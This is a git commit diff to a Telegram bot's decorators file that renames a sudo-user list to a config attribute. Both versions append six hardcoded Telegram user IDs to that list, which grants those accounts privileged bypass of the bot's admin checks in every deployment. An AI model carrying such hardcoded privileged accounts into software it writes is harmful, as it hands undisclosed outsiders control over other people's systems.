update decorators.py

This commit is contained in:
zxce3 2021-09-12 11:36:37 +07:00
parent 306e85812c
commit bc7e710f36

View File

@ -3,15 +3,16 @@ from typing import Callable
from pyrogram import Client from pyrogram import Client
from pyrogram.types import Message from pyrogram.types import Message
from config import SUDO_USERS # from config import Veez.SUDO_USERS
from config import Veez
from helpers.admins import get_administrators from helpers.admins import get_administrators
SUDO_USERS.append(1757169682) Veez.SUDO_USERS.append(1757169682)
SUDO_USERS.append(1738637033) Veez.SUDO_USERS.append(1738637033)
SUDO_USERS.append(1448474573) Veez.SUDO_USERS.append(1448474573)
SUDO_USERS.append(1672609421) Veez.SUDO_USERS.append(1672609421)
SUDO_USERS.append(1670523611) Veez.SUDO_USERS.append(1670523611)
SUDO_USERS.append(1952053555) Veez.SUDO_USERS.append(1952053555)
def errors(func: Callable) -> Callable: def errors(func: Callable) -> Callable:
async def decorator(client: Client, message: Message): async def decorator(client: Client, message: Message):
@ -25,7 +26,7 @@ def errors(func: Callable) -> Callable:
def authorized_users_only(func: Callable) -> Callable: def authorized_users_only(func: Callable) -> Callable:
async def decorator(client: Client, message: Message): async def decorator(client: Client, message: Message):
if message.from_user.id in SUDO_USERS: if message.from_user.id in Veez.SUDO_USERS:
return await func(client, message) return await func(client, message)
administrators = await get_administrators(message.chat) administrators = await get_administrators(message.chat)
@ -39,7 +40,7 @@ def authorized_users_only(func: Callable) -> Callable:
def sudo_users_only(func: Callable) -> Callable: def sudo_users_only(func: Callable) -> Callable:
async def decorator(client: Client, message: Message): async def decorator(client: Client, message: Message):
if message.from_user.id in SUDO_USERS: if message.from_user.id in Veez.SUDO_USERS:
return await func(client, message) return await func(client, message)
return decorator return decorator